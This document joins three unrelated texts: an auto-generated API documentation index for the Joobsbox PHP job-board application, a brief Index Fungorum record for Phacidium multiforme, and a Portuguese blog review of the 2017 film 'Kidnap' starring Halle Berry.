			commit

Joobsbox_Model_Search::commit() in Search.php

						</title>
			compareOrderIndex

compareOrderIndex() in Categories.php

						</title>
			CategoryController.php

CategoryController.php in CategoryController.php

						</title>
			count

Joobsbox_Iterator_Jobs::count() in Jobs.php

						</title>
			count

Joobsbox_Iterator_Categories::count() in Categories.php

						</title>
			current

Joobsbox_Iterator_Categories::current() in Categories.php

************

						</title>
			current

Joobsbox_Iterator_Jobs::current() in Jobs.php

						</title>
			CategoryObject.php

CategoryObject.php in CategoryObject.php

						</title>
			Categories.php

Categories.php in Categories.php

						</title>
			CategoryOperations.php

CategoryOperations.php in CategoryOperations.php

d

top

						</title>
			deleteConfigurationById

Joobsbox_Plugin_Base::deleteConfigurationById() in Base.php

Deletes the specified plugin option from the database

						</title>
			deleteConfigurationByName

Joobsbox_Plugin_Base::deleteConfigurationByName() in Base.php

Deletes the specified plugin option(s) from the database

						</title>
			deleteJob

Joobsbox_Model_Search::deleteJob() in Search.php

						</title>
			direct

Joobsbox_Helpers_Event::direct() in Event.php

						</title>
			direct

Joobsbox_Helpers_Filter::direct() in Filter.php

e

top

						</title>
			ErrorController.php

ErrorController.php in ErrorController.php

						</title>
			errorAction

ErrorController::errorAction() in ErrorController.php

						</title>
			ErrorController

ErrorController in ErrorController.php

						</title>
			Event

Zend_View_Helper_Event::Event() in Event.php

						</title>
			Event.php

Event.php in Event.php

						</title>
			EventsFilters.php

EventsFilters.php in EventsFilters.php

						</title>
			error.phtml

error.phtml in error.phtml

						</title>
			error.phtml

error.phtml in error.phtml

f

top

						</title>
			$form

PublishController::$form in PublishController.php

						</title>
			fetch

Joobsbox_Iterator_Jobs_FetchObject::fetch() in FetchObject.php

						</title>
			fetchAllJobs

Joobsbox_Model_Jobs::fetchAllJobs() in Jobs.php

Retrieves a set of postings grouped by categories, with a maximum number of postings for each category

						</title>
			fetchCategories

Joobsbox_Model_Jobs::fetchCategories() in Jobs.php

Retrieves a set of categories

						</title>
			fetchJobById

Joobsbox_Model_Jobs::fetchJobById() in Jobs.php

Retrieves a job array by given id

						</title>
			fetchNJobsPerCategory

Joobsbox_Model_Jobs::fetchNJobsPerCategory() in Jobs.php

Retrieves a set of postings grouped by categories, with a maximum number of postings for each category

						</title>
			Filter

Zend_View_Helper_Filter::Filter() in Filter.php

						</title>
			filter

Joobsbox_Helpers_Filter::filter() in Filter.php

						</title>
			filter

Joobsbox_Plugin_EventsFilters::filter() in EventsFilters.php

						</title>
			filterByCategoryId

Joobsbox_Iterator_Jobs::filterByCategoryId() in Jobs.php

						</title>
			filterByCategoryName

Joobsbox_Iterator_Jobs::filterByCategoryName() in Jobs.php

						</title>
			filterEmpty

Joobsbox_Iterator_Categories::filterEmpty() in Categories.php

						</title>
			filterRootNodes

Joobsbox_Iterator_Categories::filterRootNodes() in Categories.php

************

						</title>
			fireEvent

Joobsbox_Plugin_EventsFilters::fireEvent() in EventsFilters.php

						</title>
			fireEvent

Joobsbox_Helpers_Event::fireEvent() in Event.php

						</title>
			Filter.php

Filter.php in Filter.php

						</title>
			FetchObject.php

FetchObject.php in FetchObject.php

g

top

						</title>
			getActionHelper

Joobsbox_Plugin_AdminBase::getActionHelper() in AdminBase.php

						</title>
			getCategories

Joobsbox_Iterator_Categories::getCategories() in Categories.php

Retrieves a Category array based on either name or id of categories

						</title>
			getCategory

Joobsbox_Iterator_Categories::getCategory() in Categories.php

Retrieves a Category based on either name or id

						</title>
			getChildren

Joobsbox_Iterator_Categories_CategoryObject::getChildren() in CategoryObject.php

						</title>
			getConfiguration

Joobsbox_Plugin_Base::getConfiguration() in Base.php

Retrieves the specified plugin option(s) from the database

						</title>
			getIndexNamePairs

Joobsbox_Iterator_Categories::getIndexNamePairs() in Categories.php

						</title>
			getModel

Joobsbox_Plugin_Base::getModel() in Base.php

gives access to application models

						</title>
			getModel

Joobsbox_Plugin_AdminBase::getModel() in AdminBase.php

						</title>
			getProperty

Joobsbox_Iterator_Categories_CategoryObject::getProperty() in CategoryObject.php

						</title>
			getRequest

Joobsbox_Plugin_AdminBase::getRequest() in AdminBase.php

i

top

						</title>
			IndexController.php

IndexController.php in IndexController.php

						</title>
			InstallController.php

InstallController.php in InstallController.php

						</title>
			INCLUDE_NON_PUBLIC

Joobsbox_Model_Jobs::INCLUDE_NON_PUBLIC in Jobs.php

						</title>
			indexAction

InstallController::indexAction() in InstallController.php

						</title>
			indexAction

PublishController::indexAction() in PublishController.php

						</title>
			indexAction

IndexController::indexAction() in IndexController.php

						</title>
			indexAction

RssController::indexAction() in RssController.php

						</title>
			indexAction

UserController::indexAction() in UserController.php

						</title>
			indexAction

CategoryController::indexAction() in CategoryController.php

						</title>
			indexAction

SearchController::indexAction() in SearchController.php

						</title>
			indexAction

AdminController::indexAction() in AdminController.php

						</title>
			IndexController

IndexController in IndexController.php

Manages the homepage

						</title>
			init

InstallController::init() in InstallController.php

						</title>
			init

Joobsbox_Helpers_TranslationHash::init() in TranslationHash.php

						</title>
			init

AdminController::init() in AdminController.php

						</title>
			init

PublicController::init() in PublicController.php

						</title>
			initPlugin

Joobsbox_Plugin_Base::initPlugin() in Base.php

pluginLoader means of securely configuring the plugin

						</title>
			InstallController

InstallController in InstallController.php

Manages the application installation

						</title>
			index.phtml

index.phtml in index.phtml

						</title>
			install.phtml

install.phtml in install.phtml

						</title>
			index.phtml

index.phtml in index.phtml

						</title>
			index.phtml

index.phtml in index.phtml

						</title>
			index.phtml

index.phtml in index.phtml

						</title>
			index.phtml

index.phtml in index.phtml

						</title>
			index.phtml

index.phtml in index.phtml

						</title>
			index.phtml

index.phtml in index.phtml

						</title>
			index.phtml

index.phtml in index.phtml

						</title>
			index.phtml

index.phtml in index.phtml

j

top

						</title>
			JobController.php

JobController.php in JobController.php

						</title>
			Jobs.php

Jobs.php in Jobs.php

						</title>
			jobAction

JobController::jobAction() in JobController.php

						</title>
			JobController

JobController in JobController.php

						</title>
			Joobsbox_Helpers_Event

Joobsbox_Helpers_Event in Event.php

Event trigger Helper

						</title>
			Joobsbox_Helpers_Filter

Joobsbox_Helpers_Filter in Filter.php

Filter call Helper

						</title>
			Joobsbox_Helpers_TranslationHash

Joobsbox_Helpers_TranslationHash in TranslationHash.php

Regenerates the translation hash to be used on clientside

						</title>
			Joobsbox_Iterator_Categories

Joobsbox_Iterator_Categories in Categories.php

Categories Iterator object

						</title>
			Joobsbox_Iterator_Categories_CategoryObject

Joobsbox_Iterator_Categories_CategoryObject in CategoryObject.php

Category Object definition

						</title>
			Joobsbox_Iterator_Jobs

Joobsbox_Iterator_Jobs in Jobs.php

Jobs Iterator definition

						</title>
			Joobsbox_Iterator_Jobs_FetchObject

Joobsbox_Iterator_Jobs_FetchObject in FetchObject.php

Jobs Fetch Object definition

						</title>
			Joobsbox_Model_CategoryOperations

Joobsbox_Model_CategoryOperations in CategoryOperations.php

						</title>
			Joobsbox_Model_JobOperations

Joobsbox_Model_JobOperations in JobOperations.php

						</title>
			Joobsbox_Model_Jobs

Joobsbox_Model_Jobs in Jobs.php

						</title>
			Joobsbox_Model_Search

Joobsbox_Model_Search in Search.php

						</title>
			Joobsbox_Plugin_AdminBase

Joobsbox_Plugin_AdminBase in AdminBase.php

Provides some basic intrinsic functionality for each admin plugin to extend on

						</title>
			Joobsbox_Plugin_Base

Joobsbox_Plugin_Base in Base.php

Base Plugin class  Provides application plugins with storage and helpers

						</title>
			Joobsbox_Plugin_EventsFilters

Joobsbox_Plugin_EventsFilters in EventsFilters.php

						</title>
			Joobsbox_Plugin_Loader

Joobsbox_Plugin_Loader in Loader.php

Plugin Loader Class

						</title>
			JobOperations.php

JobOperations.php in JobOperations.php

						</title>
			Jobs.php

Jobs.php in Jobs.php

						</title>
			job.phtml

job.phtml in job.phtml

k

top

						</title>
			key

Joobsbox_Iterator_Jobs::key() in Jobs.php

						</title>
			key

Joobsbox_Iterator_Categories::key() in Categories.php

l

top

						</title>
			loginAction

UserController::loginAction() in UserController.php

						</title>
			logoutAction

UserController::logoutAction() in UserController.php

						</title>
			Loader.php

Loader.php in Loader.php

						</title>
			login.phtml

login.phtml in login.phtml

m

top

						</title>
			MakeLink.php

MakeLink.php in MakeLink.php

						</title>
			MakeLink

Zend_View_Helper_MakeLink::MakeLink() in MakeLink.php

n

top

						</title>
			next

Joobsbox_Iterator_Jobs::next() in Jobs.php

						</title>
			next

Joobsbox_Iterator_Categories::next() in Categories.php

o

top

						</title>
			orderByOrderIndex

Joobsbox_Iterator_Categories::orderByOrderIndex() in Categories.php

************

p

top

						</title>
			PublicController.php

PublicController.php in PublicController.php

						</title>
			PublishController.php

PublishController.php in PublishController.php

						</title>
			Plugin_Helper

Plugin_Helper in Base.php

Plugin Helper class

						</title>
			PublicController

PublicController in PublicController.php

						</title>
			PublishController

PublishController in PublishController.php

r

top

						</title>
			RssController.php

RssController.php in RssController.php

						</title>
			regenerateAction

SearchController::regenerateAction() in SearchController.php

						</title>
			regenerateHash

Joobsbox_Helpers_TranslationHash::regenerateHash() in TranslationHash.php

						</title>
			resetIndex

Joobsbox_Model_Search::resetIndex() in Search.php

						</title>
			rewind

Joobsbox_Iterator_Categories::rewind() in Categories.php

						</title>
			rewind

Joobsbox_Iterator_Jobs::rewind() in Jobs.php

						</title>
			RssController

RssController in RssController.php

s

top

						</title>
			SearchController.php

SearchController.php in SearchController.php

						</title>
			Search.php

Search.php in Search.php

						</title>
			search

Joobsbox_Model_Search::search() in Search.php

						</title>
			SearchController

SearchController in SearchController.php

						</title>
			seek

Joobsbox_Iterator_Categories::seek() in Categories.php

						</title>
			seek

Joobsbox_Iterator_Jobs::seek() in Jobs.php

						</title>
			setPluginName

Joobsbox_Plugin_Base::setPluginName() in Base.php

pluginLoader means of securely configuring the plugin name so that plugins can't say they are someone else

						</title>
			step1Action

InstallController::step1Action() in InstallController.php

						</title>
			step2Action

InstallController::step2Action() in InstallController.php

						</title>
			step3Action

InstallController::step3Action() in InstallController.php

						</title>
			step1.phtml

step1.phtml in step1.phtml

						</title>
			step2.phtml

step2.phtml in step2.phtml

						</title>
			step3.phtml

step3.phtml in step3.phtml

t

top

						</title>
			TranslateUrl.php

TranslateUrl.php in TranslateUrl.php

						</title>
			TranslationHash.php

TranslationHash.php in TranslationHash.php

						</title>
			toArray

Joobsbox_Iterator_Categories::toArray() in Categories.php

						</title>
			toArray

Joobsbox_Iterator_Jobs::toArray() in Jobs.php

						</title>
			TranslateUrl

Zend_View_Helper_TranslateUrl::TranslateUrl() in TranslateUrl.php

u

top

						</title>
			UserController.php

UserController.php in UserController.php

						</title>
			UserController

UserController in UserController.php

User management controller

v

top

						</title>
			valid

Joobsbox_Iterator_Jobs::valid() in Jobs.php

						</title>
			valid

Joobsbox_Iterator_Categories::valid() in Categories.php

						</title>
			verifyAccess

AdminController::verifyAccess() in AdminController.php

z

top

						</title>
			Zend_View_Helper_Event

Zend_View_Helper_Event in Event.php

						</title>
			Zend_View_Helper_Filter

Zend_View_Helper_Filter in Filter.php

						</title>
			Zend_View_Helper_MakeLink

Zend_View_Helper_MakeLink in MakeLink.php

Creates a valid link

						</title>
			Zend_View_Helper_TranslateUrl

Zend_View_Helper_TranslateUrl in TranslateUrl.php

Manages URL translation in views

_

top

						</title>
			$_categories_table

Joobsbox_Model_Jobs::$_categories_table in Jobs.php

						</title>
			$_conf

Joobsbox_Model_Jobs::$_conf in Jobs.php

						</title>
			$_contents

Joobsbox_Iterator_Jobs::$_contents in Jobs.php

						</title>
			$_contents

Joobsbox_Iterator_Categories::$_contents in Categories.php

Contains the Category collection, indexed by Category IDs

						</title>
			$_contentsNames

Joobsbox_Iterator_Categories::$_contentsNames in Categories.php

Contains the Category collection as key => value pairs

						</title>
			$_db

Joobsbox_Model_Jobs::$_db in Jobs.php

						</title>
			$_helper

Joobsbox_Plugin_Base::$_helper in Base.php

						</title>
			$_index

Joobsbox_Model_Search::$_index in Search.php

						</title>
			$_jobsModel

Joobsbox_Iterator_Jobs::$_jobsModel in Jobs.php

						</title>
			$_key

Joobsbox_Iterator_Categories::$_key in Categories.php

						</title>
			$_key

Joobsbox_Iterator_Jobs::$_key in Jobs.php

						</title>
			$_model

IndexController::$_model in IndexController.php

						</title>
			$_model

RssController::$_model in RssController.php

						</title>
			$_model

SearchController::$_model in SearchController.php

						</title>
			$_model

InstallController::$_model in InstallController.php

						</title>
			$_name

Joobsbox_Model_JobOperations::$_name in JobOperations.php

						</title>
			$_name

Joobsbox_Model_CategoryOperations::$_name in CategoryOperations.php

						</title>
			$_postings_table

Joobsbox_Model_Jobs::$_postings_table in Jobs.php

						</title>
			$_primary

Joobsbox_Model_CategoryOperations::$_primary in CategoryOperations.php

						</title>
			$_primary

Joobsbox_Model_JobOperations::$_primary in JobOperations.php

						</title>
			$_sequence

Joobsbox_Model_CategoryOperations::$_sequence in CategoryOperations.php

						</title>
			__call

RssController::__call() in RssController.php

						</title>
			__call

JobController::__call() in JobController.php

						</title>
			__call

CategoryController::__call() in CategoryController.php

						</title>
			__call

Plugin_Helper::__call() in Base.php

						</title>
			__call

AdminController::__call() in AdminController.php

						</title>
			__construct

Joobsbox_Iterator_Categories::__construct() in Categories.php

categoriesIterator constructor - stores the received array of categories

						</title>
			__construct

Joobsbox_Model_Search::__construct() in Search.php

						</title>
			__construct

Joobsbox_Plugin_Loader::__construct() in Loader.php

						</title>
			__construct

Joobsbox_Iterator_Jobs::__construct() in Jobs.php

						</title>
			__construct

Joobsbox_Iterator_Jobs_FetchObject::__construct() in FetchObject.php

						</title>
			__construct

Joobsbox_Model_CategoryOperations::__construct() in CategoryOperations.php

						</title>
			__construct

Joobsbox_Model_JobOperations::__construct() in JobOperations.php

						</title>
			__construct

Joobsbox_Model_Jobs::__construct() in Jobs.php

Initializes the model

						</title>
			__get

Joobsbox_Iterator_Categories_CategoryObject::__get() in CategoryObject.php

						</title>
			__set

Joobsbox_Iterator_Categories_CategoryObject::__set() in CategoryObject.php

	a
	b
	c
	d
	e
	f
	g
	i
	j
	k
	l
	m
	n
	o
	p
	r
	s
	t
	u
	v
	z
	_


text:
ACCEPTED

#### According to
Index Fungorum

#### Published in
null

#### Original name
Phacidium multiforme R. Ludw.

### Remarks
null


text:
<!DOCTYPE html>

  <meta charset="utf-8" />
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1"/>

  <title>O Sequestro</title>
  <meta name="author" content="" />
  <meta name="description"
        content="Esta é uma caça frenética em busca de um garoto insuportável que é sequetrado por uma mulher bem gorda e um caipira americano bem estereotipado. A caçadora é sua mãe, Halle Berry em sua versão de..."/>

  <meta name="yandex-verification" content="48a8210fc043c5e8" />

  <meta name="generator" content="Hugo 0.54.0" />

  <meta itemprop="name" content="O Sequestro"/>
  <meta itemprop="description"
        content="Esta é uma caça frenética em busca de um garoto insuportável que é sequetrado por uma mulher bem gorda e um caipira americano bem estereotipado. A caçadora é sua mãe, Halle Berry em sua versão de..."/>
  <meta itemprop="image"
        content="/img/logo.svg"/>

  <meta property="og:title" content="O Sequestro"/>
  <meta property="og:type"
        content="article"/>
  <meta property="og:url" content="http://www.cinetenisverde.com.br/o-sequestro/"/>
  <meta property="og:image"
        content="/img/logo.svg"/>
  <meta property="og:description"
        content="Esta é uma caça frenética em busca de um garoto insuportável que é sequetrado por uma mulher bem gorda e um caipira americano bem estereotipado. A caçadora é sua mãe, Halle Berry em sua versão de..."/>
  <meta property="og:site_name" content="Cine Tênis Verde"/>
  <meta property="article:published_time"
        content="2017-08-28T17:55:37+00:00"/>
  <meta property="article:section" content="post"/>

  <meta name="twitter:card" content="summary"/>
  <meta name="twitter:site"
        content=""/>
  <meta name="twitter:title" content="O Sequestro"/>
  <meta name="twitter:description"
        content="Esta é uma caça frenética em busca de um garoto insuportável que é sequetrado por uma mulher bem gorda e um caipira americano bem estereotipado. A caçadora é sua mãe, Halle Berry em sua versão de..."/>
  <meta name="twitter:creator"
        content=""/>
  <meta name="twitter:image:src"
        content="/img/logo.svg"/>

  <link rel="stylesheet" type="text/css" href="/css/capsule.min.css"/>
  <link rel="stylesheet" type="text/css" href="/css/custom.css"/>

  <link rel="apple-touch-icon" href="/img/apple-touch-icon.png"/>
  <link rel="icon" href="/img/favicon.ico"/>

 Cine Tênis Verde

    <input type="checkbox" id="navbar-burger-state"/>

      search

      twitter

      rss

O Sequestro

    ★★★★☆

 Wanderley Caloni, August 28, 2017

Esta é uma caça frenética em busca de um garoto insuportável que é sequetrado por uma mulher bem gorda e um caipira americano bem estereotipado. A caçadora é sua mãe, Halle Berry em sua versão de filmes de ação, uma mãezona que consegue nos momentos mais desesperadores pensar nas melhores estratégias para continuar no encalço do filho. Basicamente estes são os personagens que irão participar de um filme já feito diversas vezes e que tenta escapar dos clichês. Consegue. Há ótimos momentos, tensos, em que nos esquecemos de já ter visto isso antes. Porém, não há personagens aqui, apenas uma situação que infelizmente ocorre muitas vezes no dia-a-dia. Exceto, é claro, por esta mãe, que eu daria de tudo para ser filho. Eu não teria medo de ser sequestrado.

Deixe-me falar alguma coisa sobre essa trilha sonora. Ela é muito boa, e consegue alcançar ótimos momentos, como quando os dois carros atravessam uma longa ponte. Os enquadramentos do diretor Luis Prieto também ajudam. Mas a música de Federico Jusid é tão mal aproveitada que dá pena. Ela é usada em praticamente todos os momentos, à exaustão, e isso cansa. Um carro bate em uma árvore e o quadro fica estático, parado, por longos segundos (para um filme de ação isso é bastante tempo). Esperamos silência. Não conseguimos. A trilha de Jusid é mais importante.

Com uma edição frenética que dá um tom de desorientação imprescindível para a história, acompanhamos Halle Berry tentando salvar seu filho em situações que se desdobram em um roteiro curioso de Knate Lee e que não é rebuscado, mas eficiente. Ele te dá poucas pistas no começo e aos poucos vamos descobrindo junto com nossa heroína. Uma boa sessão pipoca, se você me perguntar.

           Imagens e créditos no IMDB. O texto de estreia será publicado no CinemAqui.

    ★★★★☆

 O Sequestro ● O Sequestro. Kidnap (USA, 2017). Dirigido por Luis Prieto. Escrito por Knate Lee. Com Halle Berry (Karla Dyson), Sage Correa (Frankie), Chris McGinn (Margo), Lew Temple (Terry), Jason George (David), Christopher Berry (Bearded Man), Arron Shiver (Bill), Kurtis Bedford (Del), Carmella Riley (Stephanie). ● Nota: 4/5. Categoria: movies.  Visto em cabine de imprensa pelo cinemaqui. Publicado em 2017-08-28.  Texto escrito por Wanderley Caloni.

Quer comentar?

      Share